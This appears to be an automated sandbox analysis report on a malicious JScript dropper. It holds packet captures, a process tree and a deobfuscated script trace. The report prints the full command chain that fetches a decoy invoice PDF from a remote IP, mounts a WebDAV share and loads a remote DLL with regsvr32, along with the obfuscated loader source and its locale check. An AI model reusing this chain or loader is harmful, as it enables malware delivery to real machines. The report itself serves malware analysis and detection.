Jan 11, 2025 05:35:51.402607918 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:35:51.402620077 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:35:51.402631044 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 05:35:51.402653933 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 05:35:51.402666092 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 05:35:51.402676105 CET	1000	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 05:35:51.402688026 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 05:35:51.402699947 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%
Jan 11, 2025 05:35:51.407438993 CET	220	IN	Data Raw: fd 82 86 a7 e5 ea 37 9b de df 2b 8b ac e5 05 0d f7 f7 ea 77 5a 4d dd d6 37 96 d1 f3 3a 0b 25 54 9f f0 fb bc 55 33 95 69 0e 0f 95 9c ed 4b a8 59 fa 9d 1b 75 0f 8f f1 95 9b ad 3f 50 b5 70 a7 5d 74 38 74 da 7f 78 01 f8 dc ad 1c 4c b0 7b 16 3a 30 d4 Data Ascii: 7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49730	193.143.1.205	8888	8040	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:35:53.449224949 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:35:54.227960110 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:35:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:35:46
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js"
Imagebase:	0x7ff70ba30000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:35:46
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll
Imagebase:	0x7ff6e0850000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:35:46
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:35:47
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:35:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:35:52
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e0850000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:35:52
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff72d5d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:35:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:35:53
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:35:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,6687072143308074103,16853173319819469815,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function irkzhg() {	irkzhg() ➔ undefined
1	jkwcfvsni = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jntdvugxm = this[gjnvv + maxrbzq + ltxarnbqf + ljllwjt + qmqqs + mgotvj + wjodvscmn + qmhfw] ( this[fxoacqe + ozdvqc + qklgq + ltxarnbqf + ckmro + gjnvv + qmhfw][lheine + ltxarnbqf + qmqqs + maxrbzq + qmhfw + qmqqs + vgjwq + xyciud + anlnxc + qmqqs + qklgq + qmhfw] ( fxoacqe + ozdvqc + qklgq + ltxarnbqf + ckmro + gjnvv + qmhfw + ztpar + ozdvqc + oxqauscst + qmqqs + bzvtttqq + bzvtttqq ) [qmikrpfm + qmqqs + dfmgxtsi + qmikrpfm + qmqqs + maxrbzq + xrbbsynr] ( fltta + yjjgveasi + ssqsjwk + tpvizt + fpjmfc + lheine + myxrhoynz + qmikrpfm + qmikrpfm + ssqsjwk + odpvoxaey + joxszdn + fpjmfc + myxrhoynz + ozdvqc + ssqsjwk + qmikrpfm + pldspqpn + lheine + htpko + wjodvscmn + qmhfw + ltxarnbqf + htpko + bzvtttqq + jrorwkfs + pavbgrmci + maxrbzq + wjodvscmn + qmqqs + bzvtttqq + pldspqpn + mgotvj + wjodvscmn + qmhfw + qmqqs + ltxarnbqf + wjodvscmn + maxrbzq + qmhfw + ckmro + htpko + wjodvscmn + maxrbzq + bzvtttqq + pldspqpn + wduclv + htpko + qklgq + maxrbzq + bzvtttqq + qmqqs ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zpzhebmdu = 0 ; zpzhebmdu < jkwcfvsni[bzvtttqq + qmqqs + wjodvscmn + dfmgxtsi + qmhfw + oxqauscst] ; ++ zpzhebmdu )
4	{
5	if ( jntdvugxm == jkwcfvsni[zpzhebmdu] )
6	{
7	jntdvugxm = true;
8	break ;
9	}
10	}
11	if ( jntdvugxm !== true )
12	this[fxoacqe + ozdvqc + qklgq + ltxarnbqf + ckmro + gjnvv + qmhfw][vxoijfk + dxgvtyqc + ckmro + qmhfw] ( );
13	this[fxoacqe + ozdvqc + qklgq + ltxarnbqf + ckmro + gjnvv + qmhfw][lheine + ltxarnbqf + qmqqs + maxrbzq + qmhfw + qmqqs + vgjwq + xyciud + anlnxc + qmqqs + qklgq + qmhfw] ( fxoacqe + ozdvqc + qklgq + ltxarnbqf + ckmro + gjnvv + qmhfw + ztpar + ozdvqc + oxqauscst + qmqqs + bzvtttqq + bzvtttqq ) [ltxarnbqf + dxgvtyqc + wjodvscmn] ( qklgq + qybbaabm + xrbbsynr + jrorwkfs + pmshghejr + qklgq + jrorwkfs + gjnvv + htpko + fijrero + qmqqs + ltxarnbqf + ljllwjt + oxqauscst + qmqqs + bzvtttqq + bzvtttqq + ztpar + qmqqs + flcqwenja + qmqqs + jrorwkfs + gdzsptv + lheine + htpko + qybbaabm + qybbaabm + maxrbzq + wjodvscmn + xrbbsynr + jrorwkfs + dqnbxxvhd + mgotvj + wjodvscmn + karen + htpko + yazuwpd + qmqqs + gdzsptv + fxoacqe + qmqqs + xyciud + qmikrpfm + qmqqs + noods + dxgvtyqc + qmqqs + ljllwjt + qmhfw + jrorwkfs + gdzsptv + vgjwq + dxgvtyqc + qmhfw + fpfkisenr + ckmro + bzvtttqq + qmqqs + jrorwkfs + woevd + qmhfw + qmqqs + qybbaabm + gjnvv + woevd + pldspqpn + ckmro + wjodvscmn + karen + htpko + ckmro + qklgq + qmqqs + ztpar + gjnvv + xrbbsynr + ucdauier + jrorwkfs + oxqauscst + qmhfw + qmhfw + gjnvv + eeiqvf + pmshghejr + pmshghejr + mvips + zyvau + kojsu + ztpar + mvips + kvisu + kojsu + ztpar + mvips + ztpar + bxkbuwr + ijpdviw + fqwacg + pmshghejr + ckmro + wjodvscmn + karen + htpko + ckmro + qklgq + qmqqs + ztpar + gjnvv + oxqauscst + gjnvv + dqnbxxvhd + pumubowzk + pumubowzk + ljllwjt + qmhfw + maxrbzq + ltxarnbqf + qmhfw + jrorwkfs + woevd + qmhfw + qmqqs + qybbaabm + gjnvv + woevd + pldspqpn + ckmro + wjodvscmn + karen + htpko + ckmro + qklgq + qmqqs + ztpar + gjnvv + xrbbsynr + ucdauier + pumubowzk + pumubowzk + qklgq + qybbaabm + xrbbsynr + jrorwkfs + pmshghejr + qklgq + jrorwkfs + wjodvscmn + qmqqs + qmhfw + jrorwkfs + dxgvtyqc + ljllwjt + qmqqs + jrorwkfs + pldspqpn + pldspqpn + mvips + zyvau + kojsu + ztpar + mvips + kvisu + kojsu + ztpar + mvips + ztpar + bxkbuwr + ijpdviw + fqwacg + dhfzuc + nquqacowq + nquqacowq + nquqacowq + nquqacowq + pldspqpn + xrbbsynr + maxrbzq + karen + fijrero + fijrero + fijrero + ltxarnbqf + htpko + htpko + qmhfw + pldspqpn + pumubowzk + pumubowzk + qklgq + qybbaabm + xrbbsynr + jrorwkfs + pmshghejr + qklgq + jrorwkfs + ltxarnbqf + qmqqs + dfmgxtsi + ljllwjt + karen + ltxarnbqf + kojsu + bxkbuwr + jrorwkfs + pmshghejr + ljllwjt + jrorwkfs + pldspqpn + pldspqpn + mvips + zyvau + kojsu + ztpar + mvips + kvisu + kojsu + ztpar + mvips + ztpar + bxkbuwr + ijpdviw + fqwacg + dhfzuc + nquqacowq + nquqacowq + nquqacowq + nquqacowq + pldspqpn + xrbbsynr + maxrbzq + karen + fijrero + fijrero + fijrero + ltxarnbqf + htpko + htpko + qmhfw + pldspqpn + mvips + nquqacowq + kojsu + kojsu + fqwacg + mvips + mvips + fqwacg + bxkbuwr + mvips + bxkbuwr + kvisu + kvisu + fqwacg + clxpc + ztpar + xrbbsynr + bzvtttqq + bzvtttqq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll",0,false) ➔ 0
14	}
15	karen = "J";
16	karen = "N";
17	karen = "z";
18	karen = "M";
19	karen = "C";
20	karen = "S";
21	karen = "V";
22	karen = "M";
23	karen = "J";
24	karen = "c";
25	karen = "G";
26	karen = "M";
27	karen = "K";
28	karen = "l";
29	karen = "c";
30	karen = "d";
31	karen = "h";
32	karen = "y";
33	karen = "l";
34	karen = "m";
35	karen = "E";
36	karen = "z";
37	karen = "S";
38	karen = "j";
39	karen = "z";
40	karen = "H";
41	karen = "w";
42	karen = "P";
43	karen = "v";
44	pavbgrmci = "k";
45	pavbgrmci = "c";
46	pavbgrmci = "f";
47	pavbgrmci = "N";
48	pavbgrmci = "f";
49	pavbgrmci = "R";
50	pavbgrmci = "f";
51	pavbgrmci = "S";
52	pavbgrmci = "P";
53	flcqwenja = "Y";
54	flcqwenja = "K";
55	flcqwenja = "L";
56	flcqwenja = "i";
57	flcqwenja = "D";
58	flcqwenja = "p";
59	flcqwenja = "d";
60	flcqwenja = "j";
61	flcqwenja = "z";
62	flcqwenja = "X";
63	flcqwenja = "O";
64	flcqwenja = "t";
65	flcqwenja = "N";
66	flcqwenja = "U";
67	flcqwenja = "D";
68	flcqwenja = "Z";
69	flcqwenja = "o";
70	flcqwenja = "A";
71	flcqwenja = "D";
72	flcqwenja = "i";
73	flcqwenja = "m";
74	flcqwenja = "B";
75	flcqwenja = "F";
76	flcqwenja = "L";
77	flcqwenja = "O";
78	flcqwenja = "O";
79	flcqwenja = "p";
80	flcqwenja = "h";
81	flcqwenja = "l";
82	flcqwenja = "L";
83	flcqwenja = "L";
84	flcqwenja = "l";
85	flcqwenja = "h";
86	flcqwenja = "O";
87	flcqwenja = "d";
88	flcqwenja = "X";
89	flcqwenja = "g";
90	flcqwenja = "O";
91	flcqwenja = "x";
92	odpvoxaey = "L";
93	odpvoxaey = "W";
94	odpvoxaey = "J";
95	odpvoxaey = "r";
96	odpvoxaey = "n";
97	odpvoxaey = "t";
98	odpvoxaey = "V";
99	odpvoxaey = "N";
100	bxkbuwr = "P";
101	bxkbuwr = "2";
102	anlnxc = "F";
103	anlnxc = "A";
104	anlnxc = "H";
105	anlnxc = "t";
106	anlnxc = "T";
107	anlnxc = "i";
108	anlnxc = "M";
109	anlnxc = "e";
110	anlnxc = "l";
111	anlnxc = "W";
112	anlnxc = "K";
113	anlnxc = "X";
114	anlnxc = "V";
115	anlnxc = "N";
116	anlnxc = "X";
117	anlnxc = "Q";
118	anlnxc = "v";
119	anlnxc = "L";
120	anlnxc = "X";
121	anlnxc = "x";
122	anlnxc = "s";
123	anlnxc = "T";
124	anlnxc = "e";
125	anlnxc = "H";
126	anlnxc = "n";
127	anlnxc = "o";
128	anlnxc = "i";
129	anlnxc = "w";
130	anlnxc = "c";
131	anlnxc = "M";
132	anlnxc = "Y";
133	anlnxc = "j";
134	anlnxc = "x";
135	anlnxc = "b";
136	anlnxc = "h";
137	anlnxc = "b";
138	anlnxc = "w";
139	anlnxc = "j";
140	gjnvv = "F";
141	gjnvv = "G";
142	gjnvv = "v";
143	gjnvv = "M";
144	gjnvv = "z";
145	gjnvv = "o";
146	gjnvv = "S";
147	gjnvv = "s";
148	gjnvv = "C";
149	gjnvv = "x";
150	gjnvv = "q";
151	gjnvv = "H";
152	gjnvv = "b";
153	gjnvv = "L";
154	gjnvv = "u";
155	gjnvv = "E";
156	gjnvv = "B";
157	gjnvv = "s";
158	gjnvv = "V";
159	gjnvv = "g";
160	gjnvv = "V";
161	gjnvv = "p";
162	htpko = "X";
163	htpko = "s";
164	htpko = "l";
165	htpko = "o";
166	noods = "k";
167	noods = "r";
168	noods = "F";
169	noods = "j";
170	noods = "X";
171	noods = "O";
172	noods = "A";
173	noods = "e";
174	noods = "D";
175	noods = "G";
176	noods = "K";
177	noods = "g";
178	noods = "g";
179	noods = "q";
180	vgjwq = "w";
181	vgjwq = "s";
182	vgjwq = "O";
183	woevd = "X";
184	woevd = "N";
185	woevd = "M";
186	woevd = "q";
187	woevd = "Q";
188	woevd = "t";
189	woevd = "B";
190	woevd = "f";
191	woevd = "b";
192	woevd = "v";
193	woevd = "e";
194	woevd = "C";
195	woevd = "c";
196	woevd = "p";
197	woevd = "w";
198	woevd = "N";
199	woevd = "G";
200	woevd = "M";
201	woevd = "K";
202	woevd = "t";
203	woevd = "G";
204	woevd = "W";
205	woevd = "Z";
206	woevd = "Y";
207	woevd = "Z";
208	woevd = "B";
209	woevd = "a";
210	woevd = "d";
211	woevd = "%";
212	ssqsjwk = "L";
213	ssqsjwk = "E";
214	ssqsjwk = "P";
215	ssqsjwk = "B";
216	ssqsjwk = "E";
217	wduclv = "L";
218	wduclv = "r";
219	wduclv = "v";
220	wduclv = "I";
221	wduclv = "q";
222	wduclv = "T";
223	wduclv = "h";
224	wduclv = "w";
225	wduclv = "n";
226	wduclv = "x";
227	wduclv = "V";
228	wduclv = "D";
229	wduclv = "F";
230	wduclv = "x";
231	wduclv = "M";
232	wduclv = "q";
233	wduclv = "L";
234	wduclv = "w";
235	wduclv = "d";
236	wduclv = "G";
237	wduclv = "Q";
238	wduclv = "g";
239	wduclv = "I";
240	wduclv = "S";
241	wduclv = "z";
242	wduclv = "s";
243	wduclv = "X";
244	wduclv = "n";
245	wduclv = "G";
246	wduclv = "A";
247	wduclv = "Q";
248	wduclv = "L";
249	ztpar = "J";
250	ztpar = "Q";
251	ztpar = "T";
252	ztpar = "U";
253	ztpar = "c";
254	ztpar = "z";
255	ztpar = "z";
256	ztpar = "Q";
257	ztpar = "w";
258	ztpar = "X";
259	ztpar = "B";
260	ztpar = "M";
261	ztpar = "a";
262	ztpar = "O";
263	ztpar = "j";
264	ztpar = "a";
265	ztpar = ".";
266	ljllwjt = "W";
267	ljllwjt = "J";
268	ljllwjt = "p";
269	ljllwjt = "u";
270	ljllwjt = "D";
271	ljllwjt = "k";
272	ljllwjt = "v";
273	ljllwjt = "W";
274	ljllwjt = "s";
275	wjodvscmn = "V";
276	wjodvscmn = "s";
277	wjodvscmn = "b";
278	wjodvscmn = "U";
279	wjodvscmn = "K";
280	wjodvscmn = "U";
281	wjodvscmn = "f";
282	wjodvscmn = "t";
283	wjodvscmn = "B";
284	wjodvscmn = "T";
285	wjodvscmn = "Y";
286	wjodvscmn = "t";
287	wjodvscmn = "d";
288	wjodvscmn = "y";
289	wjodvscmn = "Z";
290	wjodvscmn = "v";
291	wjodvscmn = "K";
292	wjodvscmn = "x";
293	wjodvscmn = "q";
294	wjodvscmn = "b";
295	wjodvscmn = "E";
296	wjodvscmn = "O";
297	wjodvscmn = "n";
298	bzvtttqq = "l";
299	bzvtttqq = "Q";
300	bzvtttqq = "L";
301	bzvtttqq = "H";
302	bzvtttqq = "L";
303	bzvtttqq = "e";
304	bzvtttqq = "M";
305	bzvtttqq = "E";
306	bzvtttqq = "X";
307	bzvtttqq = "F";
308	bzvtttqq = "Y";
309	bzvtttqq = "U";
310	bzvtttqq = "C";
311	bzvtttqq = "d";
312	bzvtttqq = "d";
313	bzvtttqq = "Q";
314	bzvtttqq = "o";
315	bzvtttqq = "D";
316	bzvtttqq = "Y";
317	bzvtttqq = "R";
318	bzvtttqq = "M";
319	bzvtttqq = "N";
320	bzvtttqq = "d";
321	bzvtttqq = "O";
322	bzvtttqq = "q";
323	bzvtttqq = "x";
324	bzvtttqq = "r";
325	bzvtttqq = "Z";
326	bzvtttqq = "s";
327	bzvtttqq = "U";
328	bzvtttqq = "v";
329	bzvtttqq = "f";
330	bzvtttqq = "i";
331	bzvtttqq = "U";
332	bzvtttqq = "F";
333	bzvtttqq = "J";
334	bzvtttqq = "r";
335	bzvtttqq = "v";
336	bzvtttqq = "U";
337	bzvtttqq = "D";
338	bzvtttqq = "a";
339	bzvtttqq = "m";
340	bzvtttqq = "z";
341	bzvtttqq = "l";
342	fxoacqe = "U";
343	fxoacqe = "A";
344	fxoacqe = "r";
345	fxoacqe = "E";
346	fxoacqe = "q";
347	fxoacqe = "p";
348	fxoacqe = "w";
349	fxoacqe = "x";
350	fxoacqe = "h";
351	fxoacqe = "v";
352	fxoacqe = "Y";
353	fxoacqe = "V";
354	fxoacqe = "t";
355	fxoacqe = "S";
356	fxoacqe = "b";
357	fxoacqe = "j";
358	fxoacqe = "q";
359	fxoacqe = "t";
360	fxoacqe = "o";
361	fxoacqe = "O";
362	fxoacqe = "W";
363	fpfkisenr = "n";
364	fpfkisenr = "z";
365	fpfkisenr = "q";
366	fpfkisenr = "D";
367	fpfkisenr = "m";
368	fpfkisenr = "F";
369	fpfkisenr = "U";
370	fpfkisenr = "S";
371	fpfkisenr = "U";
372	fpfkisenr = "D";
373	fpfkisenr = "Z";
374	fpfkisenr = "Y";
375	fpfkisenr = "A";
376	fpfkisenr = "u";
377	fpfkisenr = "C";
378	fpfkisenr = "I";
379	fpfkisenr = "t";
380	fpfkisenr = "R";
381	fpfkisenr = "u";
382	fpfkisenr = "D";
383	fpfkisenr = "C";
384	fpfkisenr = "s";
385	fpfkisenr = "k";
386	fpfkisenr = "Y";
387	fpfkisenr = "S";
388	fpfkisenr = "I";
389	fpfkisenr = "J";
390	fpfkisenr = "b";
391	fpfkisenr = "H";
392	fpfkisenr = "d";
393	fpfkisenr = "I";
394	fpfkisenr = "f";
395	fpfkisenr = "j";
396	fpfkisenr = "t";
397	fpfkisenr = "b";
398	fpfkisenr = "m";
399	fpfkisenr = "L";
400	fpfkisenr = "B";
401	fpfkisenr = "F";
402	mvips = "I";
403	mvips = "l";
404	mvips = "w";
405	mvips = "y";
406	mvips = "L";
407	mvips = "f";
408	mvips = "z";
409	mvips = "u";
410	mvips = "f";
411	mvips = "O";
412	mvips = "N";
413	mvips = "B";
414	mvips = "Y";
415	mvips = "W";
416	mvips = "N";
417	mvips = "l";
418	mvips = "f";
419	mvips = "T";
420	mvips = "b";
421	mvips = "k";
422	mvips = "O";
423	mvips = "u";
424	mvips = "P";
425	mvips = "P";
426	mvips = "y";
427	mvips = "z";
428	mvips = "b";
429	mvips = "d";
430	mvips = "R";
431	mvips = "s";
432	mvips = "u";
433	mvips = "T";
434	mvips = "I";
435	mvips = "t";
436	mvips = "i";
437	mvips = "L";
438	mvips = "m";
439	mvips = "A";
440	mvips = "u";
441	mvips = "M";
442	mvips = "b";
443	mvips = "Y";
444	mvips = "E";
445	mvips = "d";
446	mvips = "1";
447	ckmro = "h";
448	ckmro = "S";
449	ckmro = "q";
450	ckmro = "Z";
451	ckmro = "h";
452	ckmro = "Q";
453	ckmro = "S";
454	ckmro = "o";
455	ckmro = "J";
456	ckmro = "f";
457	ckmro = "b";
458	ckmro = "F";
459	ckmro = "o";
460	ckmro = "c";
461	ckmro = "l";
462	ckmro = "K";
463	ckmro = "z";
464	ckmro = "G";
465	ckmro = "E";
466	ckmro = "x";
467	ckmro = "k";
468	ckmro = "W";
469	ckmro = "J";
470	ckmro = "t";
471	ckmro = "o";
472	ckmro = "A";
473	ckmro = "g";
474	ckmro = "j";
475	ckmro = "w";
476	ckmro = "t";
477	ckmro = "V";
478	ckmro = "n";
479	ckmro = "c";
480	ckmro = "w";
